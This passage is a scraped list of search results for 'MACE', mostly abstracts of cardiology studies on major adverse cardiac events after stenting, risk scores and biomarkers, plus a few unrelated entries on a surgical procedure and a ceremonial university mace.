RDW content. Multivariate Cox analysis showed that both GRACE score and RDW content were independent predictors of MACEs (hazard ratio 1.039; 95% confidence interval [CI] 1.024-1.055; p risk of MACEs increased with increasing RDW content (p value of combining RDW content and GRACE risk score was significantly improved, also shown by the net reclassification improvement (NRI = 0.352, p value of RDW and GRACE risk score yielded a more accurate predictive value for long-term cardiovascular events in ACS patients who underwent PCI as compared to each measure alone. 13. Long-termserial non-invasive multislice computed tomography angiography with functional evaluation after coronary implantation of a bioresorbable everolimus-eluting scaffold: the ABSORB cohort BMSCT substudy NARCIS (Netherlands) Onuma, Yoshinobu; Collet, Carlos; van Geuns, Robert-Jan; de Bruyne, Bernard; Christiansen, Evald; Koolen, Jacques; Smits, Pieter; Chevalier, Bernard; McClean, Dougal; Dudek, Dariusz; Windecker, Stephan; Meredith, Ian; Nieman, Koen; Veldhof, Susan; Ormiston, John; Serruys, Patrick W. 2017-01-01 Aims Multimodality invasive imaging of the first-in-man cohort demonstrated at 5 years stable lumen dimensions and a low rate of major adverse cardiac events (MACE). However, the long-term non-invasive assessment of this device remains to be documented. The objective was to describe the 72-month 14. Case Series Mitrofanoff Urinary Diversion: A Report of Three Cases ... African Journals Online (AJOL) KIGZ A 2 cm segment of the ileum on its blood supply was resected and a spiral Monti channel made from it over a 14FG feeding tube as a stent. Mitrofanoff procedure was performed and the channel brought out at the umbilicus. The appendix was used to create a Malone Antegrade Caecal Enema (MACE) 'stoma' and brought. 15. Author Details African Journals Online (AJOL) Mireku-Gyimah, D. Vol 11 (2010) - Articles Symbolism of umat's emblem, flag and ceremonial mace - conglomeration of the university's essence and aspirations. Abstract PDF · Vol 15, No 1 (2015) - Articles A Spatio-Temporal Based Estimation of Sequestered Carbon in the Tarkwa Mining Area of Ghana Abstract PDF · Vol ... 16. Ghana Mining Journal - Vol 11 (2010) African Journals Online (AJOL) Symbolism of umat's emblem, flag and ceremonial mace - conglomeration of the university's essence and aspirations · EMAIL FREE FULL TEXT EMAIL FREE FULL TEXT · DOWNLOAD FULL TEXT DOWNLOAD FULL TEXT. M.F Annku, D Mireku-Gyimah. http://dx.doi.org/10.4314/gm.v11i1.53275 ... 17. Author Details African Journals Online (AJOL) Annku, M.F. Vol 11 (2010) - Articles Symbolism of umat's emblem, flag and ceremonial mace - conglomeration of the university's essence and aspirations. Abstract PDF. ISSN: 0855-210X. AJOL African Journals Online. HOW TO USE AJOL... for Researchers · for Librarians · for Authors · FAQ's · More about AJOL · AJOL's ... 18. Facility-level association of preoperative stress testing and postoperative adverse cardiac events. Science.gov (United States) Valle, Javier A; Graham, Laura; Thiruvoipati, Thejasvi; Grunwald, Gary; Armstrong, Ehrin J; Maddox, Thomas M; Hawn, Mary T; Bradley, Steven M 2018-06-22 Despite limited indications, preoperative stress testing is often used prior to non-cardiac surgery. Patient-level analyses of stress testing and outcomes are limited by case mix and selection bias. Therefore, we sought to describe facility-level rates of preoperative stress testing for non-cardiac surgery, and to determine the association between facility-level preoperative stress testing and postoperative major adverse cardiac events (MACE). We identified patients undergoing non-cardiac surgery within 2 years of percutaneous coronary intervention in the Veterans Affairs (VA) Health Care System, from 2004 to 2011, facility-level rates of preoperative stress testing and postoperative MACE (death, myocardial infarction (MI) or revascularisation within 30 days). We determined risk-standardised facility-level rates of stress testing and postoperative MACE, and the relationship between facility-level preoperative stress testing and postoperative MACE. Among 29 937 patients undergoing non-cardiac surgery at 131 VA facilities, the median facility rate of preoperative stress testing was 13.2% (IQR 9.7%-15.9%; range 6.0%-21.5%), and 30-day postoperative MACE was 4.0% (IQR 2.4%-5.4%). After risk standardisation, the median facility-level rate of stress testing was 12.7% (IQR 8.4%-17.4%) and postoperative MACE was 3.8% (IQR 2.3%-5.6%). There was no correlation between risk-standardised stress testing and composite MACE at the facility level (r=0.022, p=0.81), or with individual outcomes of death, MI or revascularisation. In a national cohort of veterans undergoing non-cardiac surgery, we observed substantial variation in facility-level rates of preoperative stress testing. Facilities with higher rates of preoperative stress testing were not associated with better postoperative outcomes. These findings suggest an opportunity to reduce variation in preoperative stress testing without sacrificing patient outcomes. © Article author(s) (or their employer(s) unless otherwise 19. Effect of calcifediol treatment on cardiovascular outcomes in patients with acute coronary syndrome and percutaneous revascularization. Science.gov (United States) Navarro-Valverde, Cristina; Quesada-Gómez, Jose M; Pérez-Cano, Ramón; Fernández-Palacín, Ana; Pastor-Torres, Luis F 2018-01-03 Vitamin D deficiency has been consistently linked with cardiovascular diseases. However, results of intervention studies are contradictory. The aim of this study was to evaluate the effect of treatment with calcifediol (25(OH)D 3 ) on the cardiovascular system of patients with non-ST-elevation acute coronary syndrome after percutaneous coronary intervention. A prospective study assessing≥60-year-old patients with non-ST-elevation acute coronary syndrome, coronary artery disease and percutaneous revascularisation. We randomly assigned 41 patients (70.6±6.3 years) into 2 groups: Standard treatment+25(OH)D 3 supplementation or standard treatment alone. Major adverse cardiovascular events (MACE) were evaluated at the conclusion of the 3-month follow-up period. 25(OH)D levels were analysed with regard to other relevant analytical variables and coronary disease extent. Basal levels of 25(OH)D≤50nmol/L were associated with multivessel coronary artery disease (RR: 2.6 [CI 95%:1.1-7.1], P=.027) and 25(OH)D≤50nmol/L+parathormone ≥65pg/mL levels correlated with increased risk for MACE (RR: 4 [CI 95%: 1.1-21.8], P=.04]. One MACE was detected in the supplemented group versus five in the control group (P=.66). Among patients with 25(OH)D levels≤50nmol/L at the end of the study, 28.6% had MACE versus 0% among patients with 25(OH)D>50nmol/L (RR: 1,4; P=.037). Vitamin D deficiency plus secondary hyperparathyroidism may be an effective predictor of MACE. A trend throughout the follow up period towards a reduction in MACE among patients supplemented with 25(OH)D 3 was detected. 25(OH)D levels≤50nmol/L at the end of the intervention period were significantly associated with an increased number of MACE, hence, 25(OH)D level normalisation could improve cardiovascular health in addition to bone health. Copyright © 2017. Published by Elsevier España, S.L.U. 20. Predictive value of cardiac magnetic resonance imaging-derived myocardial strain for poor outcomes in patients with acute myocarditis Energy Technology Data Exchange (ETDEWEB) Lee, Ji Won; Jeong, Yeon Joo; Lee, Gee Won; Lee, Nam Kyung; Lee, Hye Won; Kim, Jin You [Pusan National University School of Medicine and Medical Research Institute, Pusan National University Hospital, Busan (Korea, Republic of); Choi, Bum Sung; Choo, Ki Seok [Pusan National University Yangsan Hospital, Yangsan (Korea, Republic of) 2017-08-01 To evaluate the utility of cardiovascular magnetic resonance (CMR)-derived myocardial strain measurement for the prediction of poor outcomes in patients with acute myocarditis We retrospectively analyzed data from 37 patients with acute myocarditis who underwent CMR. Left ventricular (LV) size, LV mass index, ejection fraction and presence of myocardial late gadolinium enhancement (LGE) were analyzed. LV circumferential strain (EccSAX), radial strain (ErrSAX) from mid-ventricular level short-axis cine views and LV longitudinal strain (EllLV), radial strain (ErrLax) measurements from 2-chamber long-axis views were obtained. In total, 31 of 37 patients (83.8%) underwent follow-up echocardiography. The primary outcome was major adverse cardiovascular event (MACE). Incomplete LV functional recovery was a secondary outcome. During an average follow-up of 41 months, 11 of 37 patients (29.7%) experienced MACE. Multivariable Cox proportional hazard regression analysis, which included LV mass index, LV ejection fraction, the presence of LGE, EccSAX, ErrSAX, EllLV, and ErrLax values, indicated that the presence of LGE (hazard ratio, 42.88; p = 0.014), together with ErrLax (hazard ratio, 0.77 per 1%, p = 0.004), was a significant predictor of MACE. Kaplan-Meier analysis demonstrated worse outcomes in patient with LGE and an ErrLax value ≤ 9.48%. Multivariable backward regression analysis revealed that ErrLax values were the only significant predictors of LV functional recovery (hazard ratio, 0.54 per 1%; p = 0.042). CMR-derived ErrLax values can predict poor outcomes, both MACE and incomplete LV functional recovery, in patients with acute myocarditis, while LGE is only a predictor of MACE. 1. Impact of lesion morphology on angiographic and clinical outcomes in patients with chronic total occlusion after recanalization with drug-eluting stents: a multislice computed tomography study Energy Technology Data Exchange (ETDEWEB) Ito, Tsuyoshi [Toyohashi Heart Center, Toyohashi (Japan); Nagoya City University Graduate School of Medical Sciences, Department of Cardio-Renal Medicine and Hypertension, Nagoya (Japan); Tsuchikane, Etsuo; Nasu, Kenya; Kimura, Masashi; Terashima, Mitsuyasu; Kinoshita, Yoshihisa; Habara, Maoto; Suzuki, Takahiko [Toyohashi Heart Center, Toyohashi (Japan); Suzuki, Yoriyasu; Ehara, Mariko [Nagoya Heart Center, Nagoya (Japan); Ohte, Nobuyuki [Nagoya City University Graduate School of Medical Sciences, Department of Cardio-Renal Medicine and Hypertension, Nagoya (Japan) 2015-10-15 The aim of this study was to investigate the multislice computed tomography (MSCT) parameters associated with adverse outcomes after chronic total occlusion percutaneous coronary intervention (CTO-PCI) with drug-eluting stents. A total of 285 patients who underwent MSCT before CTO-PCI were analyzed. Lesion morphology was assessed with MSCT. Angiographic restenosis, reocclusion, and MACE (a composite of cardiac death, myocardial infarction, stent thrombosis, and target lesion revascularization) were analyzed. MACE was observed in 36 patients (13.6 %). Occlusion length was greater (39.5 ± 19.9 mm vs. 22.3 ± 13.7 mm, p < 0.01), minimal vessel area smaller (11.2 ± 5.7 mm{sup 2} vs. 14.5 ± 5.6 mm{sup 2}, p < 0.01), and severe calcification more common (36 % vs. 12 %, p < 0.01) in the MACE group compared to the non-MACE group. We defined occluded length >25.4 mm, minimal vessel area <11.9 mm{sup 2}, which were identified by receiver operating characteristic analysis, and severe calcification as CT-derived risk factors. Angiographic restenosis (60 % vs. 12 % vs. 7 %, p < 0.01), reocclusion (29 % vs. 2 % vs. 2 %, p < 0.01), and MACE (43 % vs. 6 % vs. 3 %, p < 0.01) were more common in patients with 2 or more risk factors than in those with 1 or 0. MSCT characteristics associated with adverse outcomes after CTO-PCI were occlusion length, minimal vessel area, and severe calcification. (orig.) 2. Impaired masturbation-induced erections: a new cardiovascular risk factor for male subjects with sexual dysfunction. Science.gov (United States) Rastrelli, Giulia; Boddi, Valentina; Corona, Giovanni; Mannucci, Edoardo; Maggi, Mario 2013-04-01 Erectile dysfunction (ED) is considered an early surrogate marker of silent, or even overt, cardiovascular diseases (CVD). However, epidemiological studies take into account only sexual intercourse-related erections. Although autoeroticism is a very common practice, data on masturbation-induced erections as a possible predictor of major adverse cardiovascular events (MACE) are lacking. To evaluate the clinical correlates of impaired masturbation-induced erections and to verify the importance of this sexual aspect in predicting MACE. A consecutive series of 4,031 male patients attending the Outpatient Clinic for sexual dysfunction for the first time was retrospectively studied. Among these subjects, 64% reported autoeroticism during the last 3 months, and only this subset was considered in the following analyses. In the longitudinal study, 862 subjects reporting autoeroticism were enrolled. Several clinical, biochemical, and instrumental (Prostaglandin E1 [PGE1 ] test and penile color Doppler ultrasound) parameters were studied. Subjects with an impaired erection during masturbation (46% of those reporting autoeroticism) had more often a positive personal or family history of CVD, a higher risk of reduced intercourse- and sleep-related erections, hypoactive sexual desire and perceived reduced ejaculate volume, and impaired PGE1 test response. Prolactin levels were lower in those having impaired erection during masturbation. In the longitudinal study, unadjusted incidence of MACE was significantly associated with impaired masturbation-induced erections. When dividing the population according to the median age and diagnosis of diabetes, the association between impaired masturbation-induced erections and incidence of MACE was maintained only in the youngest (masturbation-induced erections, can provide further insights on forthcoming MACE in particular in "low risk" subjects. © 2013 International Society for Sexual Medicine. 3. Stent parameters predict major adverse clinical events and the response to platelet glycoprotein IIb/IIIa blockade: findings of the ESPRIT trial. Science.gov (United States) Tcheng, James E; Lim, Ing Haan; Srinivasan, Shankar; Jozic, Joseph; Gibson, C Michael; O'Shea, J Conor; Puma, Joseph A; Simon, Daniel I 2009-02-01 Only limited data describe relationships between stent parameters (length and diameter), adverse events after percutaneous coronary intervention, and effects of platelet glycoprotein IIb/IIIa blockade by stent parameters. In this post hoc analysis of the 1983 patients receiving a stent in the Enhanced Suppression of the Platelet Glycoprotein IIb/IIIa Receptor with Integrilin Therapy randomized percutaneous coronary intervention trial of eptifibatide versus placebo, rates of the major adverse cardiac event (MACE) end point (death, myocardial infarction, urgent target-vessel revascularization, or thrombotic bailout) at 48 hours and 1 year were correlated with stent parameters and then analyzed by randomization to eptifibatide versus placebo. In the placebo group, MACE increased with number of stents implanted, total stent length (by quartiles of or=30 mm), and total stented vessel area (by quartiles of area or=292 mm(2)). By stent parameters, MACE at 48 hours was reduced in the eptifibatide group at stent lengths of 18 to or=30 mm (OR, 0.43; 95% CI, 0.25 to 0.75; P=0.003), stent diameters of >2.5 to <3.5 mm (OR, 0.56; 95% CI, 0.39 to 0.82; P=0.002), and with 2 stents implanted (OR, 0.39; 95% CI, 0.22 to 0.69; P=0.001). In the placebo group, near-linear relationships were observed between both increasing stent length and increasing stented vessel area and MACE at 48 hours and 1 year (all, P<0.001); these gradients were flattened in the eptifibatide group (P=0.005 for stent length). Stent parameters predict MACE after percutaneous coronary intervention. Glycoprotein IIb/IIIa blockade mitigates much of the hazard of increasing procedural complexity. 4. Validation of a multidimensional evaluation scale for use in elderly cancer patients. Science.gov (United States) Monfardini, S; Ferrucci, L; Fratino, L; del Lungo, I; Serraino, D; Zagonel, V 1996-01-15 Although aging is one of the most important risk factors for cancer, elderly patients tend to be excluded from cancer clinical trials, only on the basis of chronologic age. Performance Status (PS) has been used widely to select adult patients for entry into clinical trials, but it does not include a comprehensive evaluation of various age-related factors in the elderly. This study was designed to assess the reliability and validity of a multidimensional geriatric assessment protocol for elderly patients with cancer. Thirty consecutive elderly patients (> or = 65 years), diagnosed with hematologic neoplasia or solid tumors and undergoing chemotherapy or radiotherapy, were given a specifically structured multidimensional questionnaire (MACE) three times during one week by two different physicians. MACE was intended to collect information on demographics, socioeconomic status, cognitive status, depression, physical performance, disability, and tumor characteristics. In parallel with MACE, information was collected by means of the Sickness Impact Profile (SIP). Both for inter-rater and test-retest reliability, the values of the intraclass correlation coefficient (ICC) were generally higher than 0.7. Disability, cognitive status, depressive symptoms, and the number of days spent in bed sick in the last two weeks were markedly correlated with the global, physical, and social SIP score. Disability alone explained 70% of the variance in the SIP global score, 83% of the variance in the SIP physical score, and 45% of the variance in the SIP psychosocial score. MACE proved to be applicable in a reasonable amount of time (around 30 minutes) for a medical oncology ward. These data indicate that this structured evaluation of functional status is feasible and reliable. MACE is therefore proposed as a clinical research tool to avoid arbitrary decisions on patient selection for enrollment in clinical trials, to favor uniform monitoring of treatment, and to allow a better comparison 5. Risk and timing of clinical events according to diabetic status of patients treated with everolimus-eluting bioresorbable vascular scaffolds versus everolimus-eluting stent: 2-year results from a propensity score matched comparison of ABSORB EXTEND and SPIRIT trials. Science.gov (United States) Campos, Carlos M; Caixeta, Adriano; Franken, Marcelo; Bartorelli, Antonio L; Whitbourn, Robert J; Wu, Chiung-Jen; Li Paul Kao, Hsien; Rosli, Mohd Ali; Carrie, Didier; De Bruyne, Bernard; Stone, Gregg W; Serruys, Patrick W; Abizaid, Alexandre 2018-02-15 to compare the occurrence of clinical events in diabetics treated with the Absorb bioresorbable vascular scaffold (Absorb BVS; Abbott Vascular, Santa Clara, CA) versus everolimus-eluting metal stents (EES; XIENCE V; Abbott Vascular, Santa Clara, CA) BACKGROUND: There are limited data dedicated to clinical outcomes of diabetic patients treated with bioresorbable scaffolds (BRS) at 2-year horizon. The present study included 812 patients in the ABSORB EXTEND study in which a total of 215 diabetic patients were treated with Absorb BVS. In addition, 882 diabetic patients treated with EES in pooled data from the SPIRIT clinical program (SPIRIT II, SPIRIT III and SPIRIT IV trials) were used for comparison by applying propensity score matching using 29 different variables. The primary endpoint was ischemia driven major adverse cardiac events (ID-MACE), including cardiac death, myocardial infarction (MI), and ischemia driven target lesion revascularization (ID-TLR). After 2 years, the ID-MACE rate was 6.5% in the Absorb BVS vs. 8.9% in the Xience group (P = 0.40). There was no difference for MACE components or definite/probable device thrombosis (HR: 1.43 [0.24,8.58]; P = 0.69). The occurrence of MACE was not different for both diabetic status (insulin- and non-insulin-requiring diabetes) in all time points up to the 2-year follow-up for the Absorb and Xience groups. In this largest ever patient-level pooled comparison on the treatment of diabetic patients with BRS out to two years, individuals with diabetes treated with the Absorb BVS had a similar rate of MACE as compared with diabetics treated with the Xience EES. © 2017 Wiley Periodicals, Inc. © 2017 Wiley Periodicals, Inc. 6. Relationship between left main coronary artery plaque burden and nonleft main coronary atherosclerosis: results from the PROSPECT study. Science.gov (United States) Shimizu, Takehisa; Mintz, Gary S; De Bruyne, Bernard; Farhat, Naim Z; Inaba, Shinji; Cao, Yang; Marso, Steven P; Weisz, Giora; Serruys, Patrick W; Stone, Gregg W; Maehara, Akiko 2018-05-17 Whether the severity of left main coronary artery (LMCA) disease reflects LMCA and overall coronary atherosclerotic burden is not known. We aimed to assess nonculprit LMCA disease characteristics and the relationship with atherosclerosis in the rest of the coronary arteries as well as patient outcomes. In the PROSPECT study, 697 patients with acute coronary syndromes underwent three-vessel gray-scale and radiofrequency intravascular ultrasound after percutaneous coronary intervention. Overall, 552 patients with adequate LMCA imaging were compared according to LMCA plaque burden. The tertile with the highest plaque burden in the LMCA had the smallest LMCA minimum lumen area (17.4, 14.2, 10.5, lowest through highest tertiles, respectively, PPROSPECT predictors of future nonculprit major adverse cardiac events (MACE) (minimum lumen area≤4 mm, plaque burden≥70%, and virtual histology thin-cap fibroatheroma), the tertile with the highest LMCA plaque burden had the highest number of patients with at least one of three PROSPECT predictors (P=0.03). In multivariable model, though total atheroma volume (per 1%) was an independent predictor of all MACE [hazard ratio (95% confidence interval)=1.06 (1.01-1.11), P=0.02] and strong trend for non-culprit-related MACE [hazard ratio (95% confidence interval)=1.06 (1.00-1.13), P=0.06], plaque burden at LMCA was not (all MACE, P=0.90, non-culprit-related MACE, P=0.85). The severity of atherosclerosis in LMCA predicted the overall atherosclerotic plaque burden as well as the presence of high-risk plaques in the three major epicardial coronary arteries. 7. Relationship of testis size and LH levels with incidence of major adverse cardiovascular events in older men with sexual dysfunction. Science.gov (United States) Rastrelli, Giulia; Corona, Giovanni; Lotti, Francesco; Boddi, Valentina; Mannucci, Edoardo; Maggi, Mario 2013-11-01 Measurement of testis volume (TV) is a reliable clinical procedure that predicts reproductive fitness. However, the role of TV in overall and cardiovascular (CV) fitness has never been studied. The study aims to analyze the clinical correlates of TV in patients with sexual dysfunction (SD) and to verify the value of this parameter and its determinants (i.e., luteinizing hormone [LH] levels) in predicting major adverse CV events (MACE). A consecutive series of 2,809 subjects without testiculopathy (age 51.2 ± 13.1) consulting for SD was retrospectively studied. A subset of this sample (n=1,395) was enrolled in a longitudinal study. Several clinical and biochemical parameters were investigated. After adjusting for confounders, TV was negatively associated with both LH (Adj. r=-0.234; PTV (hazard ratio [HR]=1.041 [1.021-1.061], PTV (Adj. r=0.157; PTV were only partially related to changes in gonadotropin levels. In the longitudinal analysis, after adjusting for confounders, TV was associated with a higher incidence of MACE (HR=1.066 [1.013-1.122]; P=0.014), and the stepwise introduction in the Cox model of lifestyle factors, mean blood pressure and body mass index progressively smoothed out the association, which was no longer statistically significant in the fully adjusted model. Conversely, the association of higher LH levels with increased incidence of MACE was not attenuated by the progressive introduction of the aforementioned confounders in the model. Our data show that in SD subjects, TV and LH are associated with an adverse CV risk profile that mediate the higher TV-associated incidence of MACE. High LH levels are an independent marker of CV risk. Further studies are needed for clarifying determinants and mechanisms of testis enlargement that, beyond gonadotropins, could mediate the increased incidence of MACE. © 2013 International Society for Sexual Medicine. 8. The predictive value of arterial stiffness on major adverse cardiovascular events in individuals with mildly impaired renal function Directory of Open Access Journals (Sweden) Han J 2016-08-01 Full Text Available Jie Han,* Xiaona Wang,* Ping Ye, Ruihua Cao, Xu Yang, Wenkai Xiao, Yun Zhang, Yongyi Bai, Hongmei Wu Department of Geriatric Cardiology, Chinese PLA General Hospital, Beijing, People’s Republic of China These authors contributed equally to this work Objectives: Despite growing evidence that arterial stiffness has important predictive value for cardiovascular disease in patients with advanced stages of chronic kidney disease, the predictive significance of arterial stiffness in individuals with mildly impaired renal function has not been established. The aim of this study was to evaluate the predictive value of arterial stiffness on cardiovascular disease in this specific population. Materials and methods: We analyzed measurements of arterial stiffness (carotid–femoral pulse-wave velocity [cf-PWV] and the incidence of major adverse cardiovascular events (MACEs in 1,499 subjects from a 4.8-year longitudinal study. Results: A multivariate Cox proportional-hazard regression analysis showed that in individuals with normal renal function (estimated glomerular filtration rate [eGFR] ≥90 mL/min/1.73 m2, the baseline cf-PWV was not associated with occurrence of MACEs (hazard ratio 1.398, 95% confidence interval 0.748–2.613; P=0.293. In individuals with mildly impaired renal function (eGFR <90 mL/min/1.73 m2, a higher baseline cf-PWV level was associated with a higher risk of MACEs (hazard ratio 2.334, 95% confidence interval 1.082–5.036; P=0.031. Conclusion: Arterial stiffness is a moderate and independent predictive factor for MACEs in individuals with mildly impaired renal function (eGFR <90 mL/min/1.73 m2. Keywords: epidemiology, arterial stiffness, impaired renal function, predictive value, MACEs 9. Prognostic Utility of a Modified HEART Score in Chest Pain Patients in the Emergency Department. Science.gov (United States) McCord, James; Cabrera, Rafael; Lindahl, Bertil; Giannitsis, Evangelos; Evans, Kaleigh; Nowak, Richard; Frisoli, Tiberio; Body, Richard; Christ, Michael; deFilippi, Christopher R; Christenson, Robert H; Jacobsen, Gordon; Alquezar, Aitor; Panteghini, Mauro; Melki, Dina; Plebani, Mario; Verschuren, Franck; French, John; Bendig, Garnet; Weiser, Silvia; Mueller, Christian 2017-02-01 10. Short- and Long-Term Prognostic Utility of the HEART Score in Patients Evaluated in the Emergency Department for Possible Acute Coronary Syndrome. Science.gov (United States) Jain, Tarun; Nowak, Richard; Hudson, Michael; Frisoli, Tiberio; Jacobsen, Gordon; McCord, James 2016-06-01 The HEART score is a risk-stratification tool that was developed and validated for patients evaluated for possible acute coronary syndrome (ACS) in the emergency department (ED). We sought to determine the short-term and long-term prognostic utility of the HEART score. A retrospective single-center analysis of 947 patients evaluated for possible ACS in the ED in 1999 was conducted. Patients were followed for major adverse cardiac events (MACEs) at 30 days: death, acute myocardial infarction, or revascularization procedure. All-cause mortality was assessed at 5 years. The HEART score was compared with the Thrombolysis in Myocardial Infarction (TIMI) score. At 30 days, 14% (135/947) of patients had an MACE: 48 deaths (5%), 84 acute myocardial infarctions (9%), and 48 (5%) revascularization procedures. The MACE rate in patients with HEART score ≤3 was 0.6% (1/175) involving a revascularization procedure, 9.5% (53/557) in patients with HEART score between 4 and 6, and 38% (81/215) with HEART score ≥7. The C-statistic for the HEART score was 0.82 and 0.68 for the TIMI score for predicting 30-day MACE (P < 0.05). Patients with HEART score ≤3 had lower 5-year mortality rate compared with those with TIMI score of 0 (10.6% vs. 20.5%, P = 0.02). The HEART score is a valuable risk-stratification tool in predicting not only short-term MACE but also long-term mortality in patients evaluated for possible ACS in the ED. The HEART score had a superior prognostic value compared with the TIMI score. 11. Long-term follow-up after near-infrared spectroscopy coronary imaging: Insights from the lipid cORe plaque association with CLinical events (ORACLE-NIRS) registry. Science.gov (United States) Danek, Barbara Anna; Karatasakis, Aris; Karacsonyi, Judit; Alame, Aya; Resendes, Erica; Kalsaria, Pratik; Nguyen-Trong, Phuong-Khanh J; Rangan, Bavana V; Roesle, Michele; Abdullah, Shuaib; Banerjee, Subhash; Brilakis, Emmanouil S Coronary lipid core plaque may be associated with the incidence of subsequent cardiovascular events. We analyzed outcomes of 239 patients who underwent near-infrared spectroscopy (NIRS) coronary imaging between 2009-2011. Multivariable Cox regression was used to identify variables independently associated with the incidence of major adverse cardiovascular events (MACE; cardiac mortality, acute coronary syndromes (ACS), stroke, and unplanned revascularization) during follow-up. Mean patient age was 64±9years, 99% were men, and 50% were diabetic, presenting with stable coronary artery disease (61%) or an acute coronary syndrome (ACS, 39%). Target vessel pre-stenting median lipid core burden index (LCBI) was 88 [interquartile range, IQR 50-130]. Median LCBI in non-target vessels was 57 [IQR 26-94]. Median follow-up was 5.3years. The 5-year MACE rate was 37.5% (cardiac mortality was 15.0%). On multivariable analysis the following variables were associated with MACE: diabetes mellitus, prior percutaneous coronary intervention performed at index angiography, and non-target vessel LCBI. Non-target vessel LCBI of 77 was determined using receiver-operating characteristic curve analysis to be a threshold for prediction of MACE in our cohort. The adjusted hazard ratio (HR) for non-target vessel LCBI ≥77 was 14.05 (95% confidence interval (CI) 2.47-133.51, p=0.002). The 5-year cumulative incidence of events in the above-threshold group was 58.0% vs. 13.1% in the below-threshold group. During long-term follow-up of patients who underwent NIRS imaging, high LCBI in a non-PCI target vessel was associated with increased incidence of MACE. Published by Elsevier Inc. 12. Disease activity and lifestyle influence comorbidities and cardiovascular events in patients with acromegaly. Science.gov (United States) Sardella, Chiara; Cappellani, Daniele; Urbani, Claudio; Manetti, Luca; Marconcini, Giulia; Tomisti, Luca; Lupi, Isabella; Rossi, Giuseppe; Scattina, Ilaria; Lombardi, Martina; Di Bello, Vitantonio; Marcocci, Claudio; Martino, Enio; Bogazzi, Fausto 2016-11-01 The primary objective of this study is to identify the predictors of comorbidities and major adverse cardiovascular events (MACE) that can develop after diagnosis of acromegaly. The role of therapy for acromegaly in the event of such complications was also evaluated. Retrospective cohort study was conducted on 200 consecutive acromegalic patients in a tertiary referral center. The following outcomes were evaluated: diabetes, hypertension and MACE. Each patient was included in the analysis of a specific outcome, unless they were affected when acromegaly was diagnosed, and further classified as follows: (i) in remission after adenomectomy (Hx), (ii) controlled by somatostatin analogues (SSA) (SSAc) or (iii) not controlled by SSA (SSAnc). Data were evaluated using Cox regression analysis. After diagnosis of acromegaly, diabetes occurred in 40.8% of patients. The SSAnc group had a three-fold higher risk of diabetes (HR: 3.32, P = 0.006), whereas the SSAc group had a 1.4-fold higher risk of diabetes (HR: 1.43, P = 0.38) compared with the Hx group. Hypertension occurred in 35.5% of patients, after diagnosis. The determinants of hypertension were age (HR: 1.06, P = 0.01) and BMI (HR: 1.05, P = 0.01). MACE occurred in 11.8% of patients, after diagnosis. Age (HR: 1.09, P = 0.005) and smoking habit (HR: 5.95, P = 0.01) were predictors of MACE. Conversely, therapy for acromegaly did not influence hypertension or MACE. After diagnosis of acromegaly, control of the disease (irrespective of the type of treatment) and lifestyle are predictors of comorbidities and major adverse cardiovascular events. © 2016 European Society of Endocrinology. 13. Does Late Gadolinium Enhancement still have Value? Right Ventricular Internal Mechanical Work, Ea/Emax and Late Gadolinium Enhancement as Prognostic Markers in Patients with Advanced Pulmonary Hypertension via Cardiac MRI. Science.gov (United States) Abouelnour, Amr Ei; Doyle, Mark; Thompson, Diane V; Yamrozik, June; Williams, Ronald B; Shah, Moneal B; Soma, Siva Kr; Murali, Srinivas; Benza, Raymond L; Biederman, Robert Ww 2017-01-01 Investigate the impact of Right Ventricular (RV) Internal Work (IW), ratio of arterial to ventricular end-systolic elastance (E a /E max ), and RV Insertion Point (IP) Late Gadolinium Enhancement (LGE) on outcome in Pulmonary Hypertension (PH) patients. LGE is well known to be present within the RVIPs and Inter Ventricular Septum (IVS) in PH patients, but its prognostic role remains complex and potentially overestimated via 2D qualitative relative to the 3D quantitative measures now available. However, E a /E max , a measure of ventricular-arterial coupling and IW, when added to external cardiac work i.e. the P-V loop area as correlates to the heart's energy demands, might fundamentally improve measures of prognosis as they interrogate physiology beyond just the RV. Cardiac Magnetic Resonance Imaging (CMR) of 124 PH patients (age = 60±13, 85F) referred to a large tertiary PH center, was retrospectively examined for RV volumetric and functional indices and RVIP LGE%. Right Heart Catheterizations (RHC) performed within 1±2 months of the CMR were reviewed. E a /E max was derived as RV End-Systolic Volume (ESV/RVSV). IW was estimated as RVESV ×(RV end-systolic pressure-RV diastolic pressure). Patients were followed from date of CMR for up to 5 years for MACE (death, hospitalized RV failure, initiation of parenteral prostacyclin, sustained ventricular arrhythmia or referral for lung transplantation). MACE was high; 48/124 (39%) patients had MACE by 1.6±1.3 years. Neither RVIP nor IVS LGE using visual assessment or even 3D quantization predicted MACE. The strongest predictor of MACE was RVIW (OR=1.00013, pright-sided human myocardial pathologies. 14. Clinical Outcome After DK Crush Versus Culotte Stenting of Distal Left Main Bifurcation Lesions: The 3-Year Follow-Up Results of the DKCRUSH-III Study. Science.gov (United States) Chen, Shao-Liang; Xu, Bo; Han, Ya-Ling; Sheiban, Imad; Zhang, Jun-Jie; Ye, Fei; Kwan, Tak W; Paiboon, Chitprapai; Zhou, Yu-Jie; Lv, Shu-Zheng; Dangas, George D; Xu, Ya-Wei; Wen, Shang-Yu; Hong, Lang; Zhang, Rui-Yan; Wang, Hai-Chang; Jiang, Tie-Ming; Wang, Yan; Sansoto, Teguh; Chen, Fang; Yuan, Zu-Yi; Li, Wei-Min; Leon, Martin B 2015-08-24 The present study aimed to investigate the difference in major adverse cardiac events (MACE) at 3 years after double-kissing (DK) crush versus culotte stenting for unprotected left main distal bifurcation lesions (LMDBLs). The multicenter and randomized DKCRUSH-III (Comparison of double kissing crush versus culotte stenting for unprotected distal left main bifurcation lesions: results from a multicenter, randomized, prospective study) showed that DK crush stenting was associated with fewer MACE at 1-year follow-up in patients with LMDBLs compared with culotte stenting. Here, we report the 3-year clinical outcome of the DKCRUSH-III study. A total of 419 patients with LMDBLs who were randomly assigned to either the DK crush or culotte group in the DKCRUSH-III study were followed for 3 year. The primary endpoint was the occurrence of a MACE at 3 years. Stent thrombosis (ST) was the safety endpoint. Patients were classified by simple and complex LMDBLs according to the DEFINITION (Definition and Impact of Complex Bifurcation Lesions on Clinical Outcomes After Percutaneous Coronary Intervention Using Drug-Eluting Stents) study criteria. At 3 years, MACE occurred in 49 patients the culotte group and in 17 patients in the DK crush group (cumulative event rates of 23.7% and 8.2%, respectively; p DK crush group (p = 0.007). Complex LMDBLs were associated with a higher rate of MACE (35.3%) at 3 years compared with a rate of 8.1% in patients with simple LMDBLs (p DK] Crush Versus Culotte Stenting for the Treatment of Unprotected Distal Left Main Bifurcation Lesions: DKCRUSH-III, a Multicenter Randomized Study Comparing Double-Stent Techniques; ChiCTR-TRC-11001877). Copyright © 2015 American College of Cardiology Foundation. Published by Elsevier Inc. All rights reserved. 